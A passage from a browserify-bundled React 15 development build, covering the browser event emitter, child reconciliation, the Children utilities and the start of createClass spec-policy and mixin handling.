'mouseup',\n  topPaste: 'paste',\n  topPause: 'pause',\n  topPlay: 'play',\n  topPlaying: 'playing',\n  topProgress: 'progress',\n  topRateChange: 'ratechange',\n  topScroll: 'scroll',\n  topSeeked: 'seeked',\n  topSeeking: 'seeking',\n  topSelectionChange: 'selectionchange',\n  topStalled: 'stalled',\n  topSuspend: 'suspend',\n  topTextInput: 'textInput',\n  topTimeUpdate: 'timeupdate',\n  topTouchCancel: 'touchcancel',\n  topTouchEnd: 'touchend',\n  topTouchMove: 'touchmove',\n  topTouchStart: 'touchstart',\n  topTransitionEnd: getVendorPrefixedEventName('transitionend') || 'transitionend',\n  topVolumeChange: 'volumechange',\n  topWaiting: 'waiting',\n  topWheel: 'wheel'\n};\n\n/**\n * To ensure no conflicts with other potential React instances on the page\n */\nvar topListenersIDKey = '_reactListenersID' + String(Math.random()).slice(2);\n\nfunction getListeningForDocument(mountAt) {\n  // In IE8, `mountAt` is a host object and doesn't have `hasOwnProperty`\n  // directly.\n  if (!Object.prototype.hasOwnProperty.call(mountAt, topListenersIDKey)) {\n    mountAt[topListenersIDKey] = reactTopListenersCounter++;\n    alreadyListeningTo[mountAt[topListenersIDKey]] = {};\n  }\n  return alreadyListeningTo[mountAt[topListenersIDKey]];\n}\n\n/**\n * `ReactBrowserEventEmitter` is used to attach top-level event listeners. For\n * example:\n *\n *   EventPluginHub.putListener('myID', 'onClick', myFunction);\n *\n * This would allocate a \"registration\" of `('onClick', myFunction)` on 'myID'.\n *\n * @internal\n */\nvar ReactBrowserEventEmitter = _assign({}, ReactEventEmitterMixin, {\n\n  /**\n   * Injectable event backend\n   */\n  ReactEventListener: null,\n\n  injection: {\n    /**\n     * @param {object} ReactEventListener\n     */\n    injectReactEventListener: function (ReactEventListener) {\n      ReactEventListener.setHandleTopLevel(ReactBrowserEventEmitter.handleTopLevel);\n      ReactBrowserEventEmitter.ReactEventListener = ReactEventListener;\n    }\n  },\n\n  /**\n   * Sets whether or not any created callbacks should be enabled.\n   *\n   * @param {boolean} enabled True if callbacks should be enabled.\n   */\n  setEnabled: function (enabled) {\n    if (ReactBrowserEventEmitter.ReactEventListener) {\n      ReactBrowserEventEmitter.ReactEventListener.setEnabled(enabled);\n    }\n  },\n\n  /**\n   * @return {boolean} True if callbacks are enabled.\n   */\n  isEnabled: function () {\n    return !!(ReactBrowserEventEmitter.ReactEventListener && ReactBrowserEventEmitter.ReactEventListener.isEnabled());\n  },\n\n  /**\n   * We listen for bubbled touch events on the document object.\n   *\n   * Firefox v8.01 (and possibly others) exhibited strange behavior when\n   * mounting `onmousemove` events at some node that was not the document\n   * element. The symptoms were that if your mouse is not moving over something\n   * contained within that mount point (for example on the background) the\n   * top-level listeners for `onmousemove` won't be called. However, if you\n   * register the `mousemove` on the document object, then it will of course\n   * catch all `mousemove`s. This along with iOS quirks, justifies restricting\n   * top-level listeners to the document object only, at least for these\n   * movement types of events and possibly all events.\n   *\n   * @see http://www.quirksmode.org/blog/archives/2010/09/click_event_del.html\n   *\n   * Also, `keyup`/`keypress`/`keydown` do not bubble to the window on IE, but\n   * they bubble to document.\n   *\n   * @param {string} registrationName Name of listener (e.g. `onClick`).\n   * @param {object} contentDocumentHandle Document which owns the container\n   */\n  listenTo: function (registrationName, contentDocumentHandle) {\n    var mountAt = contentDocumentHandle;\n    var isListening = getListeningForDocument(mountAt);\n    var dependencies = EventPluginRegistry.registrationNameDependencies[registrationName];\n\n    var topLevelTypes = EventConstants.topLevelTypes;\n    for (var i = 0; i < dependencies.length; i++) {\n      var dependency = dependencies[i];\n      if (!(isListening.hasOwnProperty(dependency) && isListening[dependency])) {\n        if (dependency === topLevelTypes.topWheel) {\n          if (isEventSupported('wheel')) {\n            ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(topLevelTypes.topWheel, 'wheel', mountAt);\n          } else if (isEventSupported('mousewheel')) {\n            ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(topLevelTypes.topWheel, 'mousewheel', mountAt);\n          } else {\n            // Firefox needs to capture a different mouse scroll event.\n            // @see http://www.quirksmode.org/dom/events/tests/scroll.html\n            ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(topLevelTypes.topWheel, 'DOMMouseScroll', mountAt);\n          }\n        } else if (dependency === topLevelTypes.topScroll) {\n\n          if (isEventSupported('scroll', true)) {\n            ReactBrowserEventEmitter.ReactEventListener.trapCapturedEvent(topLevelTypes.topScroll, 'scroll', mountAt);\n          } else {\n            ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(topLevelTypes.topScroll, 'scroll', ReactBrowserEventEmitter.ReactEventListener.WINDOW_HANDLE);\n          }\n        } else if (dependency === topLevelTypes.topFocus || dependency === topLevelTypes.topBlur) {\n\n          if (isEventSupported('focus', true)) {\n            ReactBrowserEventEmitter.ReactEventListener.trapCapturedEvent(topLevelTypes.topFocus, 'focus', mountAt);\n            ReactBrowserEventEmitter.ReactEventListener.trapCapturedEvent(topLevelTypes.topBlur, 'blur', mountAt);\n          } else if (isEventSupported('focusin')) {\n            // IE has `focusin` and `focusout` events which bubble.\n            // @see http://www.quirksmode.org/blog/archives/2008/04/delegating_the.html\n            ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(topLevelTypes.topFocus, 'focusin', mountAt);\n            ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(topLevelTypes.topBlur, 'focusout', mountAt);\n          }\n\n          // to make sure blur and focus event listeners are only attached once\n          isListening[topLevelTypes.topBlur] = true;\n          isListening[topLevelTypes.topFocus] = true;\n        } else if (topEventMapping.hasOwnProperty(dependency)) {\n          ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(dependency, topEventMapping[dependency], mountAt);\n        }\n\n        isListening[dependency] = true;\n      }\n    }\n  },\n\n  trapBubbledEvent: function (topLevelType, handlerBaseName, handle) {\n    return ReactBrowserEventEmitter.ReactEventListener.trapBubbledEvent(topLevelType, handlerBaseName, handle);\n  },\n\n  trapCapturedEvent: function (topLevelType, handlerBaseName, handle) {\n    return ReactBrowserEventEmitter.ReactEventListener.trapCapturedEvent(topLevelType, handlerBaseName, handle);\n  },\n\n  /**\n   * Listens to window scroll and resize events. We cache scroll values so that\n   * application code can access them without triggering reflows.\n   *\n   * ViewportMetrics is only used by SyntheticMouse/TouchEvent and only when\n   * pageX/pageY isn't supported (legacy browsers).\n   *\n   * NOTE: Scroll events do not bubble.\n   *\n   * @see http://www.quirksmode.org/dom/events/scroll.html\n   */\n  ensureScrollValueMonitoring: function () {\n    if (hasEventPageXY === undefined) {\n      hasEventPageXY = document.createEvent && 'pageX' in document.createEvent('MouseEvent');\n    }\n    if (!hasEventPageXY && !isMonitoringScrollValue) {\n      var refresh = ViewportMetrics.refreshScrollValues;\n      ReactBrowserEventEmitter.ReactEventListener.monitorScrollValue(refresh);\n      isMonitoringScrollValue = true;\n    }\n  }\n\n});\n\nmodule.exports = ReactBrowserEventEmitter;\n},{\"113\":113,\"131\":131,\"133\":133,\"16\":16,\"169\":169,\"18\":18,\"66\":66}],28:[function(_dereq_,module,exports){\n/**\n * Copyright 2014-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactChildReconciler\n */\n\n'use strict';\n\nvar ReactReconciler = _dereq_(87);\n\nvar instantiateReactComponent = _dereq_(132);\nvar KeyEscapeUtils = _dereq_(23);\nvar shouldUpdateReactComponent = _dereq_(140);\nvar traverseAllChildren = _dereq_(141);\nvar warning = _dereq_(168);\n\nfunction instantiateChild(childInstances, child, name) {\n  // We found a component instance.\n  var keyUnique = childInstances[name] === undefined;\n  if (\"development\" !== 'production') {\n    \"development\" !== 'production' ? warning(keyUnique, 'flattenChildren(...): Encountered two children with the same key, ' + '`%s`. Child keys must be unique; when two children share a key, only ' + 'the first child will be used.', KeyEscapeUtils.unescape(name)) : void 0;\n  }\n  if (child != null && keyUnique) {\n    childInstances[name] = instantiateReactComponent(child);\n  }\n}\n\n/**\n * ReactChildReconciler provides helpers for initializing or updating a set of\n * children. Its output is suitable for passing it onto ReactMultiChild which\n * does diffed reordering and insertion.\n */\nvar ReactChildReconciler = {\n  /**\n   * Generates a \"mount image\" for each of the supplied children. In the case\n   * of `ReactDOMComponent`, a mount image is a string of markup.\n   *\n   * @param {?object} nestedChildNodes Nested child maps.\n   * @return {?object} A set of child instances.\n   * @internal\n   */\n  instantiateChildren: function (nestedChildNodes, transaction, context) {\n    if (nestedChildNodes == null) {\n      return null;\n    }\n    var childInstances = {};\n    traverseAllChildren(nestedChildNodes, instantiateChild, childInstances);\n    return childInstances;\n  },\n\n  /**\n   * Updates the rendered children and returns a new set of children.\n   *\n   * @param {?object} prevChildren Previously initialized set of children.\n   * @param {?object} nextChildren Flat child element maps.\n   * @param {ReactReconcileTransaction} transaction\n   * @param {object} context\n   * @return {?object} A new set of child instances.\n   * @internal\n   */\n  updateChildren: function (prevChildren, nextChildren, removedNodes, transaction, context) {\n    // We currently don't have a way to track moves here but if we use iterators\n    // instead of for..in we can zip the iterators and check if an item has\n    // moved.\n    // TODO: If nothing has changed, return the prevChildren object so that we\n    // can quickly bailout if nothing has changed.\n    if (!nextChildren && !prevChildren) {\n      return;\n    }\n    var name;\n    var prevChild;\n    for (name in nextChildren) {\n      if (!nextChildren.hasOwnProperty(name)) {\n        continue;\n      }\n      prevChild = prevChildren && prevChildren[name];\n      var prevElement = prevChild && prevChild._currentElement;\n      var nextElement = nextChildren[name];\n      if (prevChild != null && shouldUpdateReactComponent(prevElement, nextElement)) {\n        ReactReconciler.receiveComponent(prevChild, nextElement, transaction, context);\n        nextChildren[name] = prevChild;\n      } else {\n        if (prevChild) {\n          removedNodes[name] = ReactReconciler.getNativeNode(prevChild);\n          ReactReconciler.unmountComponent(prevChild, false);\n        }\n        // The child must be instantiated before it's mounted.\n        var nextChildInstance = instantiateReactComponent(nextElement);\n        nextChildren[name] = nextChildInstance;\n      }\n    }\n    // Unmount children that are no longer present.\n    for (name in prevChildren) {\n      if (prevChildren.hasOwnProperty(name) && !(nextChildren && nextChildren.hasOwnProperty(name))) {\n        prevChild = prevChildren[name];\n        removedNodes[name] = ReactReconciler.getNativeNode(prevChild);\n        ReactReconciler.unmountComponent(prevChild, false);\n      }\n    }\n  },\n\n  /**\n   * Unmounts all rendered children. This should be used to clean up children\n   * when this component is unmounted.\n   *\n   * @param {?object} renderedChildren Previously initialized set of children.\n   * @internal\n   */\n  unmountChildren: function (renderedChildren, safely) {\n    for (var name in renderedChildren) {\n      if (renderedChildren.hasOwnProperty(name)) {\n        var renderedChild = renderedChildren[name];\n        ReactReconciler.unmountComponent(renderedChild, safely);\n      }\n    }\n  }\n\n};\n\nmodule.exports = ReactChildReconciler;\n},{\"132\":132,\"140\":140,\"141\":141,\"168\":168,\"23\":23,\"87\":87}],29:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactChildren\n */\n\n'use strict';\n\nvar PooledClass = _dereq_(25);\nvar ReactElement = _dereq_(62);\n\nvar emptyFunction = _dereq_(150);\nvar traverseAllChildren = _dereq_(141);\n\nvar twoArgumentPooler = PooledClass.twoArgumentPooler;\nvar fourArgumentPooler = PooledClass.fourArgumentPooler;\n\nvar userProvidedKeyEscapeRegex = /\\/+/g;\nfunction escapeUserProvidedKey(text) {\n  return ('' + text).replace(userProvidedKeyEscapeRegex, '$&/');\n}\n\n/**\n * PooledClass representing the bookkeeping associated with performing a child\n * traversal. Allows avoiding binding callbacks.\n *\n * @constructor ForEachBookKeeping\n * @param {!function} forEachFunction Function to perform traversal with.\n * @param {?*} forEachContext Context to perform context with.\n */\nfunction ForEachBookKeeping(forEachFunction, forEachContext) {\n  this.func = forEachFunction;\n  this.context = forEachContext;\n  this.count = 0;\n}\nForEachBookKeeping.prototype.destructor = function () {\n  this.func = null;\n  this.context = null;\n  this.count = 0;\n};\nPooledClass.addPoolingTo(ForEachBookKeeping, twoArgumentPooler);\n\nfunction forEachSingleChild(bookKeeping, child, name) {\n  var func = bookKeeping.func;\n  var context = bookKeeping.context;\n\n  func.call(context, child, bookKeeping.count++);\n}\n\n/**\n * Iterates through children that are typically specified as `props.children`.\n *\n * The provided forEachFunc(child, index) will be called for each\n * leaf child.\n *\n * @param {?*} children Children tree container.\n * @param {function(*, int)} forEachFunc\n * @param {*} forEachContext Context for forEachContext.\n */\nfunction forEachChildren(children, forEachFunc, forEachContext) {\n  if (children == null) {\n    return children;\n  }\n  var traverseContext = ForEachBookKeeping.getPooled(forEachFunc, forEachContext);\n  traverseAllChildren(children, forEachSingleChild, traverseContext);\n  ForEachBookKeeping.release(traverseContext);\n}\n\n/**\n * PooledClass representing the bookkeeping associated with performing a child\n * mapping. Allows avoiding binding callbacks.\n *\n * @constructor MapBookKeeping\n * @param {!*} mapResult Object containing the ordered map of results.\n * @param {!function} mapFunction Function to perform mapping with.\n * @param {?*} mapContext Context to perform mapping with.\n */\nfunction MapBookKeeping(mapResult, keyPrefix, mapFunction, mapContext) {\n  this.result = mapResult;\n  this.keyPrefix = keyPrefix;\n  this.func = mapFunction;\n  this.context = mapContext;\n  this.count = 0;\n}\nMapBookKeeping.prototype.destructor = function () {\n  this.result = null;\n  this.keyPrefix = null;\n  this.func = null;\n  this.context = null;\n  this.count = 0;\n};\nPooledClass.addPoolingTo(MapBookKeeping, fourArgumentPooler);\n\nfunction mapSingleChildIntoContext(bookKeeping, child, childKey) {\n  var result = bookKeeping.result;\n  var keyPrefix = bookKeeping.keyPrefix;\n  var func = bookKeeping.func;\n  var context = bookKeeping.context;\n\n\n  var mappedChild = func.call(context, child, bookKeeping.count++);\n  if (Array.isArray(mappedChild)) {\n    mapIntoWithKeyPrefixInternal(mappedChild, result, childKey, emptyFunction.thatReturnsArgument);\n  } else if (mappedChild != null) {\n    if (ReactElement.isValidElement(mappedChild)) {\n      mappedChild = ReactElement.cloneAndReplaceKey(mappedChild,\n      // Keep both the (mapped) and old keys if they differ, just as\n      // traverseAllChildren used to do for objects as children\n      keyPrefix + (mappedChild.key && (!child || child.key !== mappedChild.key) ? escapeUserProvidedKey(mappedChild.key) + '/' : '') + childKey);\n    }\n    result.push(mappedChild);\n  }\n}\n\nfunction mapIntoWithKeyPrefixInternal(children, array, prefix, func, context) {\n  var escapedPrefix = '';\n  if (prefix != null) {\n    escapedPrefix = escapeUserProvidedKey(prefix) + '/';\n  }\n  var traverseContext = MapBookKeeping.getPooled(array, escapedPrefix, func, context);\n  traverseAllChildren(children, mapSingleChildIntoContext, traverseContext);\n  MapBookKeeping.release(traverseContext);\n}\n\n/**\n * Maps children that are typically specified as `props.children`.\n *\n * The provided mapFunction(child, index) will be called for each\n * leaf child.\n *\n * @param {?*} children Children tree container.\n * @param {function(*, int)} func The map function.\n * @param {*} context Context for mapFunction.\n * @return {object} Object containing the ordered map of results.\n */\nfunction mapChildren(children, func, context) {\n  if (children == null) {\n    return children;\n  }\n  var result = [];\n  mapIntoWithKeyPrefixInternal(children, result, null, func, context);\n  return result;\n}\n\nfunction forEachSingleChildDummy(traverseContext, child, name) {\n  return null;\n}\n\n/**\n * Count the number of children that are typically specified as\n * `props.children`.\n *\n * @param {?*} children Children tree container.\n * @return {number} The number of children.\n */\nfunction countChildren(children, context) {\n  return traverseAllChildren(children, forEachSingleChildDummy, null);\n}\n\n/**\n * Flatten a children object (typically specified as `props.children`) and\n * return an array with appropriately re-keyed children.\n */\nfunction toArray(children) {\n  var result = [];\n  mapIntoWithKeyPrefixInternal(children, result, null, emptyFunction.thatReturnsArgument);\n  return result;\n}\n\nvar ReactChildren = {\n  forEach: forEachChildren,\n  map: mapChildren,\n  mapIntoWithKeyPrefixInternal: mapIntoWithKeyPrefixInternal,\n  count: countChildren,\n  toArray: toArray\n};\n\nmodule.exports = ReactChildren;\n},{\"141\":141,\"150\":150,\"25\":25,\"62\":62}],30:[function(_dereq_,module,exports){\n/**\n * Copyright 2013-present, Facebook, Inc.\n * All rights reserved.\n *\n * This source code is licensed under the BSD-style license found in the\n * LICENSE file in the root directory of this source tree. An additional grant\n * of patent rights can be found in the PATENTS file in the same directory.\n *\n * @providesModule ReactClass\n */\n\n'use strict';\n\nvar _assign = _dereq_(169);\n\nvar ReactComponent = _dereq_(31);\nvar ReactElement = _dereq_(62);\nvar ReactPropTypeLocations = _dereq_(84);\nvar ReactPropTypeLocationNames = _dereq_(83);\nvar ReactNoopUpdateQueue = _dereq_(80);\n\nvar emptyObject = _dereq_(151);\nvar invariant = _dereq_(158);\nvar keyMirror = _dereq_(161);\nvar keyOf = _dereq_(162);\nvar warning = _dereq_(168);\n\nvar MIXINS_KEY = keyOf({ mixins: null });\n\n/**\n * Policies that describe methods in `ReactClassInterface`.\n */\nvar SpecPolicy = keyMirror({\n  /**\n   * These methods may be defined only once by the class specification or mixin.\n   */\n  DEFINE_ONCE: null,\n  /**\n   * These methods may be defined by both the class specification and mixins.\n   * Subsequent definitions will be chained. These methods must return void.\n   */\n  DEFINE_MANY: null,\n  /**\n   * These methods are overriding the base class.\n   */\n  OVERRIDE_BASE: null,\n  /**\n   * These methods are similar to DEFINE_MANY, except we assume they return\n   * objects. We try to merge the keys of the return values of all the mixed in\n   * functions. If there is a key conflict we throw.\n   */\n  DEFINE_MANY_MERGED: null\n});\n\nvar injectedMixins = [];\n\n/**\n * Composite components are higher-level components that compose other composite\n * or native components.\n *\n * To create a new type of `ReactClass`, pass a specification of\n * your new class to `React.createClass`. The only requirement of your class\n * specification is that you implement a `render` method.\n *\n *   var MyComponent = React.createClass({\n *     render: function() {\n *       return <div>Hello World</div>;\n *     }\n *   });\n *\n * The class specification supports a specific protocol of methods that have\n * special meaning (e.g. `render`). See `ReactClassInterface` for\n * more the comprehensive protocol. Any other properties and methods in the\n * class specification will be available on the prototype.\n *\n * @interface ReactClassInterface\n * @internal\n */\nvar ReactClassInterface = {\n\n  /**\n   * An array of Mixin objects to include when defining your component.\n   *\n   * @type {array}\n   * @optional\n   */\n  mixins: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * An object containing properties and methods that should be defined on\n   * the component's constructor instead of its prototype (static methods).\n   *\n   * @type {object}\n   * @optional\n   */\n  statics: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Definition of prop types for this component.\n   *\n   * @type {object}\n   * @optional\n   */\n  propTypes: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Definition of context types for this component.\n   *\n   * @type {object}\n   * @optional\n   */\n  contextTypes: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Definition of context types this component sets for its children.\n   *\n   * @type {object}\n   * @optional\n   */\n  childContextTypes: SpecPolicy.DEFINE_MANY,\n\n  // ==== Definition methods ====\n\n  /**\n   * Invoked when the component is mounted. Values in the mapping will be set on\n   * `this.props` if that prop is not specified (i.e. using an `in` check).\n   *\n   * This method is invoked before `getInitialState` and therefore cannot rely\n   * on `this.state` or use `this.setState`.\n   *\n   * @return {object}\n   * @optional\n   */\n  getDefaultProps: SpecPolicy.DEFINE_MANY_MERGED,\n\n  /**\n   * Invoked once before the component is mounted. The return value will be used\n   * as the initial value of `this.state`.\n   *\n   *   getInitialState: function() {\n   *     return {\n   *       isOn: false,\n   *       fooBaz: new BazFoo()\n   *     }\n   *   }\n   *\n   * @return {object}\n   * @optional\n   */\n  getInitialState: SpecPolicy.DEFINE_MANY_MERGED,\n\n  /**\n   * @return {object}\n   * @optional\n   */\n  getChildContext: SpecPolicy.DEFINE_MANY_MERGED,\n\n  /**\n   * Uses props from `this.props` and state from `this.state` to render the\n   * structure of the component.\n   *\n   * No guarantees are made about when or how often this method is invoked, so\n   * it must not have side effects.\n   *\n   *   render: function() {\n   *     var name = this.props.name;\n   *     return <div>Hello, {name}!</div>;\n   *   }\n   *\n   * @return {ReactComponent}\n   * @nosideeffects\n   * @required\n   */\n  render: SpecPolicy.DEFINE_ONCE,\n\n  // ==== Delegate methods ====\n\n  /**\n   * Invoked when the component is initially created and about to be mounted.\n   * This may have side effects, but any external subscriptions or data created\n   * by this method must be cleaned up in `componentWillUnmount`.\n   *\n   * @optional\n   */\n  componentWillMount: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Invoked when the component has been mounted and has a DOM representation.\n   * However, there is no guarantee that the DOM node is in the document.\n   *\n   * Use this as an opportunity to operate on the DOM when the component has\n   * been mounted (initialized and rendered) for the first time.\n   *\n   * @param {DOMElement} rootNode DOM element representing the component.\n   * @optional\n   */\n  componentDidMount: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Invoked before the component receives new props.\n   *\n   * Use this as an opportunity to react to a prop transition by updating the\n   * state using `this.setState`. Current props are accessed via `this.props`.\n   *\n   *   componentWillReceiveProps: function(nextProps, nextContext) {\n   *     this.setState({\n   *       likesIncreasing: nextProps.likeCount > this.props.likeCount\n   *     });\n   *   }\n   *\n   * NOTE: There is no equivalent `componentWillReceiveState`. An incoming prop\n   * transition may cause a state change, but the opposite is not true. If you\n   * need it, you are probably looking for `componentWillUpdate`.\n   *\n   * @param {object} nextProps\n   * @optional\n   */\n  componentWillReceiveProps: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Invoked while deciding if the component should be updated as a result of\n   * receiving new props, state and/or context.\n   *\n   * Use this as an opportunity to `return false` when you're certain that the\n   * transition to the new props/state/context will not require a component\n   * update.\n   *\n   *   shouldComponentUpdate: function(nextProps, nextState, nextContext) {\n   *     return !equal(nextProps, this.props) ||\n   *       !equal(nextState, this.state) ||\n   *       !equal(nextContext, this.context);\n   *   }\n   *\n   * @param {object} nextProps\n   * @param {?object} nextState\n   * @param {?object} nextContext\n   * @return {boolean} True if the component should update.\n   * @optional\n   */\n  shouldComponentUpdate: SpecPolicy.DEFINE_ONCE,\n\n  /**\n   * Invoked when the component is about to update due to a transition from\n   * `this.props`, `this.state` and `this.context` to `nextProps`, `nextState`\n   * and `nextContext`.\n   *\n   * Use this as an opportunity to perform preparation before an update occurs.\n   *\n   * NOTE: You **cannot** use `this.setState()` in this method.\n   *\n   * @param {object} nextProps\n   * @param {?object} nextState\n   * @param {?object} nextContext\n   * @param {ReactReconcileTransaction} transaction\n   * @optional\n   */\n  componentWillUpdate: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Invoked when the component's DOM representation has been updated.\n   *\n   * Use this as an opportunity to operate on the DOM when the component has\n   * been updated.\n   *\n   * @param {object} prevProps\n   * @param {?object} prevState\n   * @param {?object} prevContext\n   * @param {DOMElement} rootNode DOM element representing the component.\n   * @optional\n   */\n  componentDidUpdate: SpecPolicy.DEFINE_MANY,\n\n  /**\n   * Invoked when the component is about to be removed from its parent and have\n   * its DOM representation destroyed.\n   *\n   * Use this as an opportunity to deallocate any external resources.\n   *\n   * NOTE: There is no `componentDidUnmount` since your component will have been\n   * destroyed by that point.\n   *\n   * @optional\n   */\n  componentWillUnmount: SpecPolicy.DEFINE_MANY,\n\n  // ==== Advanced methods ====\n\n  /**\n   * Updates the component's currently mounted DOM representation.\n   *\n   * By default, this implements React's rendering and reconciliation algorithm.\n   * Sophisticated clients may wish to override this.\n   *\n   * @param {ReactReconcileTransaction} transaction\n   * @internal\n   * @overridable\n   */\n  updateComponent: SpecPolicy.OVERRIDE_BASE\n\n};\n\n/**\n * Mapping from class specification keys to special processing functions.\n *\n * Although these are declared like instance properties in the specification\n * when defining classes using `React.createClass`, they are actually static\n * and are accessible on the constructor instead of the prototype. Despite\n * being static, they must be defined outside of the \"statics\" key under\n * which all other static methods are defined.\n */\nvar RESERVED_SPEC_KEYS = {\n  displayName: function (Constructor, displayName) {\n    Constructor.displayName = displayName;\n  },\n  mixins: function (Constructor, mixins) {\n    if (mixins) {\n      for (var i = 0; i < mixins.length; i++) {\n        mixSpecIntoComponent(Constructor, mixins[i]);\n      }\n    }\n  },\n  childContextTypes: function (Constructor, childContextTypes) {\n    if (\"development\" !== 'production') {\n      validateTypeDef(Constructor, childContextTypes, ReactPropTypeLocations.childContext);\n    }\n    Constructor.childContextTypes = _assign({}, Constructor.childContextTypes, childContextTypes);\n  },\n  contextTypes: function (Constructor, contextTypes) {\n    if (\"development\" !== 'production') {\n      validateTypeDef(Constructor, contextTypes, ReactPropTypeLocations.context);\n    }\n    Constructor.contextTypes = _assign({}, Constructor.contextTypes, contextTypes);\n  },\n  /**\n   * Special case getDefaultProps which should move into statics but requires\n   * automatic merging.\n   */\n  getDefaultProps: function (Constructor, getDefaultProps) {\n    if (Constructor.getDefaultProps) {\n      Constructor.getDefaultProps = createMergedResultFunction(Constructor.getDefaultProps, getDefaultProps);\n    } else {\n      Constructor.getDefaultProps = getDefaultProps;\n    }\n  },\n  propTypes: function (Constructor, propTypes) {\n    if (\"development\" !== 'production') {\n      validateTypeDef(Constructor, propTypes, ReactPropTypeLocations.prop);\n    }\n    Constructor.propTypes = _assign({}, Constructor.propTypes, propTypes);\n  },\n  statics: function (Constructor, statics) {\n    mixStaticSpecIntoComponent(Constructor, statics);\n  },\n  autobind: function () {} };\n\n// noop\nfunction validateTypeDef(Constructor, typeDef, location) {\n  for (var propName in typeDef) {\n    if (typeDef.hasOwnProperty(propName)) {\n      // use a warning instead of an invariant so components\n      // don't show up in prod but only in __DEV__\n      \"development\" !== 'production' ? warning(typeof typeDef[propName] === 'function', '%s: %s type `%s` is invalid; it must be a function, usually from ' + 'React.PropTypes.', Constructor.displayName || 'ReactClass', ReactPropTypeLocationNames[location], propName) : void 0;\n    }\n  }\n}\n\nfunction validateMethodOverride(isAlreadyDefined, name) {\n  var specPolicy = ReactClassInterface.hasOwnProperty(name) ? ReactClassInterface[name] : null;\n\n  // Disallow overriding of base class methods unless explicitly allowed.\n  if (ReactClassMixin.hasOwnProperty(name)) {\n    !(specPolicy === SpecPolicy.OVERRIDE_BASE) ? \"development\" !== 'production' ? invariant(false, 'ReactClassInterface: You are attempting to override ' + '`%s` from your class specification. Ensure that your method names ' + 'do not overlap with React methods.', name) : invariant(false) : void 0;\n  }\n\n  // Disallow defining methods more than once unless explicitly allowed.\n  if (isAlreadyDefined) {\n    !(specPolicy === SpecPolicy.DEFINE_MANY || specPolicy === SpecPolicy.DEFINE_MANY_MERGED) ? \"development\" !== 'production' ? invariant(false, 'ReactClassInterface: You are attempting to define ' + '`%s` on your component more than once. This conflict may be due ' + 'to a mixin.', name) : invariant(false) : void 0;\n  }\n}\n\n/**\n * Mixin helper which handles policy validation and reserved\n * specification keys when building React classes.\n */\nfunction mixSpecIntoComponent(Constructor, spec) {\n  if (!spec) {\n    return;\n  }\n\n  !(typeof spec !== 'function') ? \"development\" !== 'production' ? invariant(false, 'ReactClass: You\\'re attempting to ' + 'use a component class or function as a mixin. Instead, just use a ' + 'regular object.') : invariant(false) : void 0;\n  !!ReactElement.isValidElement(spec) ? \"development\" !== 'production' ? invariant(false, 'ReactClass: You\\'re attempting to ' + 'use a component as a mixin. Instead, just use a regular object.') : invariant(false) : void 0;\n\n  var proto = Constructor.prototype;\n  var autoBindPairs = proto.__reactAutoBindPairs;\n\n  // By handling mixins before any other properties, we ensure the same\n  // chaining order is applied to methods with DEFINE_MANY policy, whether\n  // mixins are listed before or after these methods in the spec.\n  if (spec.hasOwnProperty(MIXINS_KEY)) {\n    RESERVED_SPEC_KEYS.mixins(Constructor, spec.mixins);\n  }\n\n  for (var name in spec) {\n    if (!spec.hasOwnProperty(name)) {\n      continue;\n    }\n\n    if (name === MIXINS_KEY) {\n      // We have already handled mixins in a special case above.\n      continue;\n    }\n\n    var property = spec[name];\n    var isAlreadyDefined = proto.hasOwnProperty(name);\n    validateMethodOverride(isAlreadyDefined, name);\n\n    if (RESERVED_SPEC_KEYS.hasOwnProperty(name)) {\n      RESERVED_SPEC_KEYS[name](Constructor, property);\n    } else {\n      // Setup methods on prototype:\n      // The following member methods should not be automatically bound:\n      // 1. Expected ReactClass methods (in the \"interface\").\n      // 2. Overridden methods (that were mixed in).\n      var isReactClassMethod = ReactClassInterface.hasOwnProperty(name);\n      var isFunction = typeof property === 'function';\n      var shouldAutoBind = isFunction && !isReactClassMethod && !isAlreadyDefined && spec.autobind !== false;\n\n      if (shouldAutoBind) {\n        autoBindPairs.push(name, property);\n        proto[name] = property;\n      } else {\n        if (isAlreadyDefined) {\n          var specPolicy = ReactClassInterface[name];\n\n          // These cases should already be caught by validateMethodOverride.\n          !(isReactClassMethod && (specPolicy === SpecPolicy.DEFINE_MANY_MERGED || specPolicy === SpecPolicy.DEFINE_MANY)) ? \"development\" !== 'production' ? invariant(false, 'ReactClass: Unexpected spec policy %s for key %s ' + 'when mixing in component specs.', specPolicy, name) : invariant(false) : void 0;\n\n          // For methods which are defined more than once, call the existing\n          // methods before calling the new property, merging if appropriate.\n          if (specPolicy === SpecPolicy.DEFINE_MANY_MERGED) {\n            proto[name] = createMergedResultFunction(proto[name], property);\n          } else if (specPolicy === SpecPolicy.DEFINE_MANY) {\n            proto[name] = createChainedFunction(proto[name], property);\n          }\n        } else {\n          proto[name] = property;\n          if (\"development\" !== 'production') {\n            // Add verbose displayName to the function, which helps when looking\n            // at profiling tools.\n            if (typeof property === 'function' && spec.displayName) {\n              proto[name].displayName = spec.displayName + '_' + name;\n            }\n          }\n        }\n      }\n    }\n  }\n}\n\nfunction mixStaticSpecIntoComponent(Constructor, statics) {\n  if (!statics) {\n    return;\n  }\n  for (var name in statics) {\n    var property = statics[name];\n    if (!statics.hasOwnProperty(name)) {\n      continue;\n    }\n\n    var isReserved = name in 